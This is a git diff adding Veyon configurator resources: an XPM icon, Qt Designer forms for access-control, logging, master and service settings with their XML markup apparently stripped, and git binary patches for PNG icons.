zZ0!d6`@`pO9gUq<(44=nu8w*3R?huJe~ + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + + + + diff --git a/configurator/data/veyon-configurator.xpm b/configurator/data/veyon-configurator.xpm new file mode 100644 index 0000000..8dcb10c --- /dev/null +++ b/configurator/data/veyon-configurator.xpm @@ -0,0 +1,62 @@ +/* XPM */ +static char *veyon_configurator[] = { +/* columns rows colors chars-per-pixel */ +"32 32 24 1 ", +" c gray33", +". c #555555", +"X c gray37", +"o c #676767", +"O c gray43", +"+ c gray58", +"@ c #959595", +"# c #B6B6B6", +"$ c #B7B7B7", +"% c #BBBBBB", +"& c #C5C5C5", +"* c #C6C6C6", +"= c gray78", +"- c gray79", +"; c gray84", +": c #D7D7D7", +"> c #D8D8D8", +", c gray95", +"< c #F3F3F3", +"1 c #F4F4F4", +"2 c gray96", +"3 c #F6F6F6", +"4 c white", +"5 c None", +/* pixels */ +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"555555555555555555 5555555555", +"55555555555555555 555555555", +"5555555555555555 55555555", +"55 55", +"55 55", +"5555555555555555 55555555", +"55555555555555555 555555555", +"555555555555555555 5555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"555555 5555555555555555555555", +"5555 55555555555555555555", +"555 o=33-O 5555555555555555555", +"555 o,44443o 5555555555555555555", +"55 =3#@@#3= 555555555555555555", +"55 %X :: X% 55", +"55 %X :: X% 55", +"55 -3#@@#,& 555555555555555555", +"555 O34444,o 5555555555555555555", +"555 o=33=o 5555555555555555555", +"5555 55555555555555555555", +"555555 5555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555", +"55555555555555555555555555555555" +}; diff --git a/configurator/forms/AccessControlPage.ui b/configurator/forms/AccessControlPage.ui new file mode 100644 index 0000000..7185411 --- /dev/null +++ b/configurator/forms/AccessControlPage.ui @@ -0,0 +1,614 @@ + + + AccessControlPage + + + Form + + + + 0 + + + 0 + + + + + Computer access control + + + + + + Restrict access to members of certain user groups + + + accessControlModeGroup + + + + + + + + + User groups backend: + + + + + + + + + + + + false + + + Test + + + + :/resources/dialog-ok-apply.png:/resources/dialog-ok-apply.png + + + + + + + Process access control rules + + + accessControlModeGroup + + + + + + + false + + + Test + + + + :/resources/dialog-ok-apply.png:/resources/dialog-ok-apply.png + + + + + + + Grant access to every authenticated user (default) + + + true + + + accessControlModeGroup + + + + + + + Enable usage of domain groups + + + + + + + + + + false + + + User groups authorized for computer access + + + + + + QAbstractScrollArea::AdjustToContents + + + true + + + + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + true + + + + + + + Authorized user groups + + + + + + + QAbstractScrollArea::AdjustToContents + + + true + + + + + + + All groups + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + ... + + + + :/resources/go-next.png:/resources/go-next.png + + + + + + + ... + + + + :/resources/go-previous.png:/resources/go-previous.png + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + false + + + Access control rules + + + + + + Add access control rule + + + + + + + :/resources/list-add.png:/resources/list-add.png + + + + + + + Remove access control rule + + + + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + + + + Move selected rule down + + + + + + + :/resources/go-down.png:/resources/go-down.png + + + + + + + QAbstractScrollArea::AdjustToContents + + + QAbstractItemView::NoEditTriggers + + + + + + + Qt::Vertical + + + + 20 + 88 + + + + + + + + Move selected rule up + + + + + + + :/resources/go-up.png:/resources/go-up.png + + + + + + + Edit selected rule + + + + + + + :/resources/document-edit.png:/resources/document-edit.png + + + + + + + + + + skipAccessControl + isAccessRestrictedToUserGroups + isAccessControlRulesProcessingEnabled + testUserGroupsAccessControlButton + testAccessControlRulesButton + allGroupsList + addAccessGroupButton + removeAccessGroupButton + accessGroupsList + accessControlRulesView + addAccessControlRuleButton + removeAccessControlRule + editAccessControlRuleButton + moveAccessControlRuleUpButton + moveAccessControlRuleDownButton + + + + + + + + addAccessGroupButton + clicked() + AccessControlPage + addAccessGroup() + + + 494 + 412 + + + 494 + 404 + + + + + removeAccessGroupButton + clicked() + AccessControlPage + removeAccessGroup() + + + 494 + 455 + + + 494 + 404 + + + + + addAccessControlRuleButton + clicked() + AccessControlPage + addAccessControlRule() + + + 935 + 580 + + + 494 + 404 + + + + + removeAccessControlRule + clicked() + AccessControlPage + removeAccessControlRule() + + + 935 + 622 + + + 494 + 404 + + + + + editAccessControlRuleButton + clicked() + AccessControlPage + editAccessControlRule() + + + 935 + 665 + + + 494 + 404 + + + + + moveAccessControlRuleDownButton + clicked() + AccessControlPage + moveAccessControlRuleDown() + + + 935 + 749 + + + 494 + 404 + + + + + moveAccessControlRuleUpButton + clicked() + AccessControlPage + moveAccessControlRuleUp() + + + 935 + 707 + + + 494 + 404 + + + + + isAccessRestrictedToUserGroups + toggled(bool) + authorizedUserGroups + setEnabled(bool) + + + 494 + 114 + + + 494 + 354 + + + + + isAccessControlRulesProcessingEnabled + toggled(bool) + accessControlRules + setEnabled(bool) + + + 494 + 160 + + + 494 + 660 + + + + + accessControlRulesView + doubleClicked(QModelIndex) + AccessControlPage + editAccessControlRule() + + + 331 + 791 + + + 983 + 527 + + + + + testUserGroupsAccessControlButton + clicked() + AccessControlPage + testUserGroupsAccessControl() + + + 920 + 118 + + + 986 + 114 + + + + + testAccessControlRulesButton + clicked() + AccessControlPage + testAccessControlRules() + + + 933 + 167 + + + 984 + 162 + + + + + isAccessRestrictedToUserGroups + toggled(bool) + testUserGroupsAccessControlButton + setEnabled(bool) + + + 447 + 116 + + + 914 + 116 + + + + + isAccessControlRulesProcessingEnabled + toggled(bool) + testAccessControlRulesButton + setEnabled(bool) + + + 447 + 166 + + + 914 + 166 + + + + + allGroupsList + doubleClicked(QModelIndex) + AccessControlPage + addAccessGroup() + + + 181 + 464 + + + 357 + 484 + + + + + accessGroupsList + doubleClicked(QModelIndex) + AccessControlPage + removeAccessGroup() + + + 534 + 464 + + + 357 + 484 + + + + + + addAccessGroup() + removeAccessGroup() + addAccessControlRule() + removeAccessControlRule() + editAccessControlRule() + moveAccessControlRuleUp() + moveAccessControlRuleDown() + testAccessControlRules() + testUserGroupsAccessControl() + + + + + diff --git a/configurator/forms/AccessControlRuleEditDialog.ui b/configurator/forms/AccessControlRuleEditDialog.ui new file mode 100644 index 0000000..4f17189 --- /dev/null +++ b/configurator/forms/AccessControlRuleEditDialog.ui @@ -0,0 +1,429 @@ + + + AccessControlRuleEditDialog + + + Edit access control rule + + + + + + General + + + + + + enter a short name for the rule here + + + + + + + Rule name: + + + + + + + enter a description for the rule here + + + + + + + Rule description: + + + + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + + + + Always process rule and ignore conditions + + + + + + + + + + Conditions + + + + + + false + + + true + + + QComboBox::AdjustToContents + + + + + + + is member of group + + + + + + + + + + + + + + false + + + QComboBox::AdjustToContents + + + + + + + + true + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + true + + + + + + + + 0 + 0 + + + + Accessing computer is located in the same room as local computer + + + + + + + No user logged on + + + + + + + is located in room + + + + + + + false + + + QComboBox::AdjustToContents + + + + + + + false + + + true + + + QComboBox::AdjustToContents + + + + + + + + + + + + + + Accessing computer is localhost + + + + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + + + Accessing user is logged on user + + + + + + + Accessing user is already connected + + + + + + + + + + Action + + + + 20 + + + + + Allow access + + + true + + + actionButtonGroup + + + + + + + Deny access + + + actionButtonGroup + + + + + + + Ask logged on user for permission + + + actionButtonGroup + + + + + + + None (rule disabled) + + + actionButtonGroup + + + + + + + + + + Qt::Horizontal + + + QDialogButtonBox::Cancel|QDialogButtonBox::Ok + + + + + + + ruleNameLineEdit + ruleDescriptionLineEdit + ignoreConditionsCheckBox + invertConditionsCheckBox + isMemberOfGroupCheckBox + isMemberOfGroupSubjectComboBox + groupsComboBox + isLocatedInRoomCheckBox + isLocatedInRoomSubjectComboBox + roomsComboBox + isLocatedInSameRoomCheckBox + isLocalHostAccessCheckBox + hasCommonGroupsCheckBox + isLocalUserAccessCheckBox + isSameUserAccessCheckBox + noUserLoggedOnCheckBox + actionAllowRadioButton + actionDenyRadioButton + actionAskForPermissionRadioButton + actionNoneRadioButton + + + + + buttonBox + accepted() + AccessControlRuleEditDialog + accept() + + + 233 + 407 + + + 157 + 274 + + + + + buttonBox + rejected() + AccessControlRuleEditDialog + reject() + + + 301 + 413 + + + 286 + 274 + + + + + isMemberOfGroupCheckBox + toggled(bool) + groupsComboBox + setEnabled(bool) + + + 514 + 89 + + + 876 + 88 + + + + + isLocatedInRoomCheckBox + toggled(bool) + roomsComboBox + setEnabled(bool) + + + 628 + 131 + + + 891 + 133 + + + + + isMemberOfGroupCheckBox + toggled(bool) + isMemberOfGroupSubjectComboBox + setEnabled(bool) + + + 44 + 295 + + + 236 + 295 + + + + + isLocatedInRoomCheckBox + toggled(bool) + isLocatedInRoomSubjectComboBox + setEnabled(bool) + + + 44 + 391 + + + 236 + 391 + + + + + ignoreConditionsCheckBox + toggled(bool) + conditionsGroupBox + setDisabled(bool) + + + 548 + 179 + + + 548 + 516 + + + + + ignoreConditionsCheckBox + toggled(bool) + invertConditionsCheckBox + setDisabled(bool) + + + 548 + 179 + + + 548 + 225 + + + + + + + + diff --git a/configurator/forms/AccessControlRulesTestDialog.ui b/configurator/forms/AccessControlRulesTestDialog.ui new file mode 100644 index 0000000..2b72abf --- /dev/null +++ b/configurator/forms/AccessControlRulesTestDialog.ui @@ -0,0 +1,128 @@ + + + AccessControlRulesTestDialog + + + Access control rules test + + + + + + Qt::Horizontal + + + QDialogButtonBox::Close|QDialogButtonBox::Ok + + + + + + + + + + + + + Accessing user: + + + + + + + Local computer: + + + + + + + Accessing computer: + + + + + + + + 0 + 0 + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + true + + + + + + + Local user: + + + + + + + + + + + + + Connected users: + + + + + + + + + + accessingUserLineEdit + accessingComputerLineEdit + localUserLineEdit + localComputerLineEdit + + + + + buttonBox + accepted() + AccessControlRulesTestDialog + accept() + + + 248 + 254 + + + 157 + 274 + + + + + buttonBox + rejected() + AccessControlRulesTestDialog + reject() + + + 316 + 260 + + + 286 + 274 + + + + + diff --git a/configurator/forms/GeneralConfigurationPage.ui b/configurator/forms/GeneralConfigurationPage.ui new file mode 100644 index 0000000..55556a4 --- /dev/null +++ b/configurator/forms/GeneralConfigurationPage.ui @@ -0,0 +1,409 @@ + + + GeneralConfigurationPage + + + + 0 + + + 0 + + + + + User interface + + + + + + Language: + + + + + + + + 0 + 0 + + + + QComboBox::AdjustToContents + + + + Use system language setting + + + + + + + + Veyon + + + + + + + + + + Logging + + + + + + + + Log file directory + + + + + + + + + + ... + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + Log level + + + + + + + QComboBox::AdjustToContents + + + + Nothing + + + + + Only critical messages + + + + + Errors and critical messages + + + + + Warnings and errors + + + + + Information, warnings and errors + + + + + Debug messages and everything else + + + + + + + + + + 32 + + + + + Limit log file size + + + + + + + false + + + MB + + + 1 + + + 999 + + + 100 + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + 32 + + + + + false + + + Rotate log files + + + + + + + false + + + x + + + 1 + + + 10 + + + 10 + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + Log to standard error output + + + + + + + Write to logging system of operating system + + + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + Clear all log files + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + + + + + + + + + Network object directory + + + + + + Backend: + + + + + + + + + + Update interval: + + + + + + + seconds + + + 10 + + + 3600 + + + 600 + + + + + + + + + + Authentication + + + + + + Method: + + + + + + + + Logon authentication + + + + + Key file authentication + + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + logFileSizeLimitEnabled + toggled(bool) + logFileSizeLimit + setEnabled(bool) + + + 308 + 376 + + + 408 + 377 + + + + + logFileSizeLimitEnabled + toggled(bool) + logFileRotationEnabled + setEnabled(bool) + + + 138 + 381 + + + 129 + 436 + + + + + logFileRotationEnabled + toggled(bool) + logFileRotationCount + setEnabled(bool) + + + 129 + 436 + + + 658 + 437 + + + + + diff --git a/configurator/forms/MainWindow.ui b/configurator/forms/MainWindow.ui new file mode 100644 index 0000000..e82a5a0 --- /dev/null +++ b/configurator/forms/MainWindow.ui @@ -0,0 +1,315 @@ + + + MainWindow + + + Veyon Configurator + + + + :/resources/veyon-configurator.png:/resources/veyon-configurator.png + + + + + + + 0 + + + + + + + + + + + Qt::ScrollBarAsNeeded + + + Qt::ScrollBarAlwaysOff + + + QAbstractScrollArea::AdjustToContents + + + + 48 + 48 + + + + Qt::ElideNone + + + 4 + + + QListView::ListMode + + + true + + + 0 + + + + General + + + + :/resources/configure-shortcuts.png:/resources/configure-shortcuts.png + + + ItemIsSelectable|ItemIsUserCheckable|ItemIsEnabled + + + + + Service + + + + :/resources/application-x-sharedlib.png:/resources/application-x-sharedlib.png + + + ItemIsSelectable|ItemIsUserCheckable|ItemIsEnabled + + + + + Master + + + + :/resources/application-x-ms-dos-executable.png:/resources/application-x-ms-dos-executable.png + + + ItemIsSelectable|ItemIsUserCheckable|ItemIsEnabled + + + + + Access control + + + + :/resources/network-vpn.png:/resources/network-vpn.png + + + ItemIsSelectable|ItemIsUserCheckable|ItemIsEnabled + + + + + + + + QDialogButtonBox::Apply|QDialogButtonBox::Reset + + + true + + + + + + + Qt::Horizontal + + + + + + + + + 0 + 0 + 572 + 36 + + + + + &File + + + + + + + + + + + &Help + + + + + + + + + + &Quit + + + Ctrl+Q + + + + + + :/resources/document-save.png:/resources/document-save.png + + + &Save settings to file + + + Save settings to file + + + Ctrl+S + + + + + + :/resources/document-open.png:/resources/document-open.png + + + L&oad settings from file + + + Ctrl+O + + + + + + :/resources/help-about.png:/resources/help-about.png + + + About Veyon + + + + + About Qt + + + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + Reset configuration + + + + + + AccessControlPage + QWidget +
AccessControlPage.h
+ 1 +
+ + GeneralConfigurationPage + QWidget +
GeneralConfigurationPage.h
+ 1 +
+ + MasterConfigurationPage + QWidget +
MasterConfigurationPage.h
+ 1 +
+ + ServiceConfigurationPage + QWidget +
ServiceConfigurationPage.h
+ 1 +
+
+ + + + + + + pageSelector + currentRowChanged(int) + configPages + setCurrentIndex(int) + + + 108 + 301 + + + 502 + 301 + + + + + actionAboutVeyon + triggered() + MainWindow + aboutVeyon() + + + -1 + -1 + + + 357 + 282 + + + + + actionQuit + triggered() + MainWindow + close() + + + -1 + -1 + + + 357 + 282 + + + + + actionResetConfiguration + triggered() + MainWindow + resetConfiguration() + + + -1 + -1 + + + 680 + 426 + + + + + + aboutVeyon() + resetConfiguration() + +
diff --git a/configurator/forms/MasterConfigurationPage.ui b/configurator/forms/MasterConfigurationPage.ui new file mode 100644 index 0000000..e729969 --- /dev/null +++ b/configurator/forms/MasterConfigurationPage.ui @@ -0,0 +1,516 @@ + + + MasterConfigurationPage + + + Form + + + + + + 0 + + + + Basic settings + + + + + + Directories + + + + 10 + + + 10 + + + + + ... + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + User configuration + + + + + + + + + + Screenshots + + + + + + + + + + ... + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + + + + User interface + + + + + + + User and computer name + + + + + Only user name + + + + + Only computer name + + + + + + + + Thumbnail update interval + + + + + + + Computer thumbnail caption + + + + + + + + + + Background color + + + + + + + ms + + + 250 + + + 60000 + + + 250 + + + 1000 + + + + + + + Text color + + + + + + + + + + + + + Qt::Vertical + + + + 20 + 10 + + + + + + + + + Behaviour + + + + + + Program start + + + + + + Perform access control at program start + + + + + + + Automatically switch to current room at start + + + + + + + Automatically adjust computer thumbnail size at start + + + + + + + Automatically open computer rooms widget + + + + + + + + + + Computer rooms + + + + + + Only show current room + + + + + + + false + + + Allow adding rooms manually + + + + + + + Hide local computer + + + + + + + Hide empty rooms + + + + + + + Hide computer filter field + + + + + + + + + + Modes and features + + + + + + Enforce selected mode for client computers + + + + + + + Actions such as rebooting or powering down computers + + + Show confirmation dialog for potential dangerous actions + + + + + + + + + + Feature on computer double click: + + + + + + + + + + Qt::Vertical + + + + 20 + 10 + + + + + + + + + Features + + + + + + + + All features + + + + + + + Disabled features + + + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + ... + + + + :/resources/go-next.png:/resources/go-next.png + + + + + + + ... + + + + :/resources/go-previous.png:/resources/go-previous.png + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + + + + + + + tabWidget + userConfigurationDirectory + screenshotDirectory + openUserConfigurationDirectory + openScreenshotDirectory + computerMonitoringUpdateInterval + computerMonitoringBackgroundColor + computerMonitoringTextColor + computerDisplayRoleContent + accessControlForMasterEnabled + autoSwitchToCurrentRoom + autoAdjustGridSize + openComputerManagementAtStart + onlyCurrentRoomVisible + manualRoomAdditionAllowed + localComputerHidden + emptyRoomsHidden + computerFilterHidden + enforceSelectedModeForClients + confirmDangerousActions + computerDoubleClickFeature + allFeaturesListWidget + disableFeatureButton + enableFeatureButton + disabledFeaturesListWidget + + + + + + + + onlyCurrentRoomVisible + toggled(bool) + manualRoomAdditionAllowed + setEnabled(bool) + + + 380 + 343 + + + 380 + 389 + + + + + allFeaturesListWidget + doubleClicked(QModelIndex) + MasterConfigurationPage + disableFeature() + + + 224 + 682 + + + 444 + 413 + + + + + disabledFeaturesListWidget + doubleClicked(QModelIndex) + MasterConfigurationPage + enableFeature() + + + 664 + 682 + + + 444 + 413 + + + + + disableFeatureButton + clicked() + MasterConfigurationPage + disableFeature() + + + 461 + 723 + + + 444 + 413 + + + + + enableFeatureButton + clicked() + MasterConfigurationPage + enableFeature() + + + 461 + 766 + + + 444 + 413 + + + + + + enableFeature() + disableFeature() + + diff --git a/configurator/forms/ServiceConfigurationPage.ui b/configurator/forms/ServiceConfigurationPage.ui new file mode 100644 index 0000000..7420ad1 --- /dev/null +++ b/configurator/forms/ServiceConfigurationPage.ui @@ -0,0 +1,336 @@ + + + ServiceConfigurationPage + + + Form + + + + 0 + + + 0 + + + + + General + + + + + + Hide tray icon + + + + + + + Autostart + + + + + + + Stop service + + + + :/resources/media-playback-stop.png:/resources/media-playback-stop.png + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + 75 + true + + + + Stopped + + + + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + + + + Start service + + + + :/resources/media-playback-start.png:/resources/media-playback-start.png + + + + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + Multi session support (experimental) + + + + + + + Show notification on remote connection + + + + + + + State: + + + + + + + Show notification on failed authentication attempts + + + + + + + + + + Network + + + + + + 1024 + + + 65535 + + + + + + + Demo server port + + + + + + + 1024 + + + 65535 + + + + + + + Feature manager port + + + + + + + Primary service port + + + + + + + Enable firewall exception + + + + + + + 1024 + + + 65535 + + + + + + + Allow connections from localhost only + + + + + + + Internal VNC server port + + + + + + + 1024 + + + 65535 + + + + + + + + + + VNC server + + + + + + + + Plugin: + + + + + + + + 0 + 0 + + + + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + isTrayIconHidden + failedAuthenticationNotificationsEnabled + remoteConnectionNotificationsEnabled + isSoftwareSASEnabled + isMultiSessionServiceEnabled + autostartService + startService + stopService + primaryServicePort + vncServerPort + featureWorkerManagerPort + demoServerPort + isFirewallExceptionEnabled + localConnectOnly + vncServerPlugin + + + + + + + vncServerPlugin + currentIndexChanged(int) + ServiceConfigurationPage + updateVncServerPluginConfigurationWidget() + + + 381 + 703 + + + 340 + 484 + + + + + startService + clicked() + ServiceConfigurationPage + startService() + + + 230 + 118 + + + 207 + 234 + + + + + stopService + clicked() + ServiceConfigurationPage + stopService() + + + 342 + 118 + + + 207 + 234 + + + + + + updateVncServerPluginConfigurationWidget() + startService() + stopService() + + diff --git a/configurator/resources/access-rule-ask.png b/configurator/resources/access-rule-ask.png new file mode 100644 index 0000000000000000000000000000000000000000..4ddd3fc465cdc3c27a2c02f2337c312a3140c298 GIT binary patch literal 1600 zcmaKrdpOit9L5L5j6y3bGijfcCznu(Mq7F`N;Af-T&GlKUAt_=L{TaRC7W2K(rj(% zLXt*E=HgN=JCd!?D1|}p!yvag=j?B)?b*NfdEWD$&pF@se4q2jIcMEmwrQx7)NweR z293I92R7R&23`eoPRZ#(Y*LA!&^+*X{JRdNZS`Tf zhX%2tnBjrAsHiB5eTNQ2_%p)-EkeVCvxYa4a5!bAo0G>@ER1qJk=zvcLWsZR71b7&HaSZrQ04rg@!%CPtDPou_l3(}#&GYGy zM~7cr&cpg+o#|io?I4!_*6QoQ@BZJ;-#7msuxns)27DL5cLf4WZa}ad2;D)s7by1z z6+WPX0V;QbN?%a58&vHD&oD8;bARwW08|Hpnh;R457h1lwFf}$K_H3%A{MAW0_vl{ zi=(h18aBkhhU4&MEPQzqHlBiwr{Svv_$m>;N`kM?z&Gb$Qz~pugDn~GZ6*|7hOJq! zl>^`3fNi&6+imy((;fIR7q;Jr?Rl`{A?z%GosXd8F_aX+u433#0=u5T?o!ypgP-{D zlMwb*!M&B)N~7@8eNvlB=@iNG`hGYHHgh)IqhKoBB?3C;U3tay>TSvy?Z zaVm4>s;c1$>htDnFVy*wNLsAFWZCi+M#gKctjRWXXBStu?K{E_hew<`9T(3|NIa94 zo{@R^O4hZTIk^w=h2@o1q8AN~@7}k4_}JdjDe3DU7#tdwj>^Wyr>18#=k1HZUUe^R z%VrNf;!wq;y)#o^tv$5#wsBz4mb4%0A`9Jn_%}J>C-O2f4sxToYbl>U#DtbMH%&gY zY&a&hmDp~Z7LPTaY>x9^=)U5qtS4ILyU<feg-u)&@MnZBG+r;eqx^tUSC3o0@?+i2pJ z5yKcZW77-*de~uCyJHWsS6_3|Zujm8EZs12Zh8D_vU2})iEByf(7m0HVq0=j^JctM z4VGUUPqe#LDH808q2I_oUY%<@LSMl-LkZ#V3P_}PK1cAeThp?w@sYZ~@A=_5^OtID z(;UoL$GxemB-T{#)!3EgvVP$LOjDuGjM~fpcOo_WKi!tLFC;jm|+scPAdo>|b#Ju1bw^%pQs$j&=B*oXT zi*jgSk*#;;oowwIUlX#DHghRC+g`Khb!QS})^WqIJZ0 zqWXjMzjo-^*w^lPKmTpm#0{Z3-GZGUrkUrMEKBDaq%{extuHQ*J-CS_tA18=BZ$!7 r+;Zh-+ZIV3XH$jv?tuj$xX(!Gm@VO^8ub`esTW*M2mNH literal 0 HcmV?d00001 diff --git a/configurator/resources/application-x-ms-dos-executable.png b/configurator/resources/application-x-ms-dos-executable.png new file mode 100644 index 0000000000000000000000000000000000000000..c8fdeb41a9f5e0e300e05af63edaa477f9a23cd8 GIT binary patch literal 349 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjTBIkeSlAh zE07KbgV4}WARPh*KsFGBg@plm5E3GSNiJ|ar4KYhq$J2Mm_bQH%h1X#wxws*?8U3M z>^gb(#ml|Z_S^u<7kIijhD02Gd(D!s!GMSLV&eVsclBXXOClT`Cunf|pQ^WPqcW>Y z*=uL67V#PE`kyr~{Ja|{UY1Z8)o_X@kM+#Fs)k=#gQHL_*N{(t-ttRXM4k+du;3Kt2OO+Y$*lW&EVuS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|xzG>{t<6ogDhL_`3&!NI}d;o(Fw zAj*IwL`z6WNLW}Hkc-BEaFGR()gWtusDXS9lLh#*|-0|!NVs`o<4u!@|CMM zZr-|m=kC4x4<0^x{N(Ag=PzEpe*6Bz$FJYM|M>aq_n*K2HW#fIXJBAj;_2cTA|d(q zV7hZqAOqV2@x}!rQf4Nb=ccAs&&b`naAjuo`%G_z!)nVW3NG^X<`ukef9qkvLG6pS z;nW=wO9?Fm{V_VZ)lW5>EfS8AN%-V|m%DtoecPG!b^_Mb{cP%9+HzNYFQyLk5hT= z9IZ=NO%JS$N_b-Z)h1gZq+;cFQ8&K+qM*&Jla}^QcH=vE;gmvfp7L9};Hv4)3tt#c zUZl5VXR=S0e#@k%va0$eR+@VoCHGFzb9&CTG;hX5=a)hy>w>rr^lYE9=fcY+U)Zu* z`)7!hDxQ^1zVtUTAmU@A=Jtu-8Z>Ra6JK25P&bWMh`eQy`9qUxJZ8ZUrMsAA#=1J~)EV5`RL)qUiGV8ZIsy{cG zdF{~^oWbfLy+4<;oxChyrO8v>J#p^mBj=bnwoUfQ-sBYV*7h~ShK!~lUXfEX!G&eC@PP6hCYAoLPm^4XyDScWSM?&MK{FS^1MA;aqxJf%8*KQ`v^C(`Pc}XgSuX{OAuCdvZWFVc7!Fodt%@|81V6Fq+oSvt96EEz8cx<4abTJvbmxujkzNEnt>L wqrvxQT2EHpFn2oG|L5j4^IvVN40U(!pZMwiju#=D1wnmdKI;Vst03upcT>t<8 literal 0 HcmV?d00001 diff --git a/configurator/resources/configure-shortcuts.png b/configurator/resources/configure-shortcuts.png new file mode 100644 index 0000000000000000000000000000000000000000..63c74a20e1c2a75e7d787f32bf038758947ed4b6 GIT binary patch literal 574 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFi5WlVa7PAi84Sz$r9IylHmNblJdl&REF~Ma=pyF?Be9af>gcyqV(DCY@~pSCI|S0 zxB_W6H@DExP(MFEPcR4!3hyu5sUeSLghE1EdoIZ2*-1!Ud z-hcS`>GPLAfB${3y66ei`_R+HF(l&f+o`w38UsXJwOd+>x=RFA?{4}3|FuNPm1f5< zx$iYm{BKR&mfxK@>4<@kbz9k#=L>CJo}X=zQ(-gPzaz+%(X>bJi;~;DBzIn&1rM(1 zaM;;-*?;=q^j&7Qar?UV9gf!w);&M3wTa{NqpcpnIik<6Y8^HHk}i?cY{S2XF0g&TQ= Rn}D8W@O1TaS?83{1OUgA*Af5# literal 0 HcmV?d00001 diff --git a/configurator/resources/dialog-ok-apply.png b/configurator/resources/dialog-ok-apply.png new file mode 100644 index 0000000000000000000000000000000000000000..d87eb9c18a9ccbd4e768f4ecc71a46198f79ba90 GIT binary patch literal 994 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V^x4p zh$~Pr5HvJ2gocKurKJH$Pft$=2L~Vn2m%5EyuH2M-Q9hBe1PJ}L>w*))CdG{DIgmt z1s4IyfdNDi$b_hbiehjv6<`&CXh$;&ZYD_#F4qYwfI(kd666=mz{teR%Er#Y$s-^r zBrPK+ub`x=rmmr>rLCi9Vrph?VQK5&>*pU37!(y96BnP5mY$hkSX5kER^Hgu z+}hSZVbYYT(`L?@JAc8#MT?g%Teo5JmTlX2?A){ez`;X@Pv5?C@BV|wPo6$|{^I4U zcke%Z{QTwXw;w-${rUTE?_#k-z~m6<>Eaj?aro`!t9geV1XwTl#(2#P0wxKsoxU@H z;Pv0{&-$XLDy7=ibv^l=aC5Pxa-}1Ob=e!1!dZL#y!S;;PYzSt@+!zn|Ni!$JFZ0E z*eCmM@5Hy(5AI9d*f+Vx_ICNi^~t~UK5Z4N<-Ps=!2Yn!d)sS7Z+}0uKV(y_{7+O^Az(tGd6rPb)2m>Kl{-MmH7=hyLjxI`)A7px9h!>$lw;<68Y(-T7T{##T(na zGm0yAn!RrAuxGf_IZu85(H&Nu?psPKVp2Eh&HpIAFDA`keg2(&rvEJ;+W3AD-mR{G ksdeg+oE@#Q)@4mP^5@m+I-IrUy#(bjPgg&ebxsLQ0M(p>=>Px# literal 0 HcmV?d00001 diff --git a/configurator/resources/document-edit.png b/configurator/resources/document-edit.png new file mode 100644 index 0000000000000000000000000000000000000000..1af3826f13b3cf05227fb4a11aa5342cb9351b87 GIT binary patch literal 606 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjTBH(V}MVH zE07Ki4GjngaCdk2^z`)d@&dB`{QQ6nUoi0Z_XpBI5g_pK@d1($E<_ec0tMkDTo981 z(TFLYG;ca1&=FcCL4Lsu`~pIv63QxS8rr%RL80LhQEBOUD|hcbdgA1%(`V0Jx_0}~ zP zsS}szo^QP2dwd$m6yxeiFbIFNJJrk;)G1XJ9bzorQreV(8E|IhbuS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V@!Zg zh$~Pr5HvJ2gocJXI5?!Gr2!e9o}NH9km2U$1|#(e|^ZgEMFUoZnB6Eh1d8#@OlHxDnrkcgPL zl#Hx`vYNW4mad+mk+GSjt-Z60yQgnpP((~@LQ--{dS+f}c~x^uYe#2S?}Ukyrp=f= zXYTw(%U7-4xOMyP{fCbnJ#ps3#Vglu+`N77(bMNIUcGty?)`_4pTBEaEIME&U_Wj25^Jd+AXDsXF?CgAazkAtFk5|jt*QK&v{ap9P|MUB~rJC#J9Xu1z zRsY>QrsLG|hrj1l{Xds!A6 zyK--5q;To(Dy!7ba_|35-VlBDXU9zo&gA{Vw?k)Nn4v5G&`r#V*~4O 